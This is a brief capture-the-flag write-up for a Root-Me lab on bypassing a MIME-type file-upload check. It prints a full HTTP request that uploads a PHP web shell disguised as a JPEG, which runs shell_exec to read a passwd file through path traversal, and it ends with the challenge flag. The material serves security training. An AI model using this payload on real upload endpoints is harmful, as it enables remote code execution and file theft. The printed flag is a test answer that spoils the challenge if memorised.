

File upload - MIME type

Lab: <https://www.root-me.org/en/Challenges/Web-Server/File-upload-MIME-type>

- This lab is quite easy when the server base on MIME-type to define the extention of the file, so we just need to set Content-Type: image/jpeg

```
POST /web-serveur/ch21/?action=upload HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 311
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://challenge01.root-me.org
Content-Type: multipart/form-data; boundary=----WebKitFormBo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Referer: http://challenge01.root-me.org/web-serveur/ch21/?act
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=5321e39c7cf30d778823d7e936d1830e; session=
Connection: keep-alive

-----WebKitFormBoundarysj10dy0JPwKZBNR0
Content-Disposition: form-data; name="file"; filename="payload.jpg"
Content-Type: image/jpeg

ÿøÿà
<?php $output = shell_exec('cat ../../../../passwd'); echo "<h1>
-----WebKitFormBoundarysj10dy0JPwKZBNR0--
```

- The flag

yØyà JFIF`ÿÛC

a7n4nizpgQgnPERy89uanf6T4

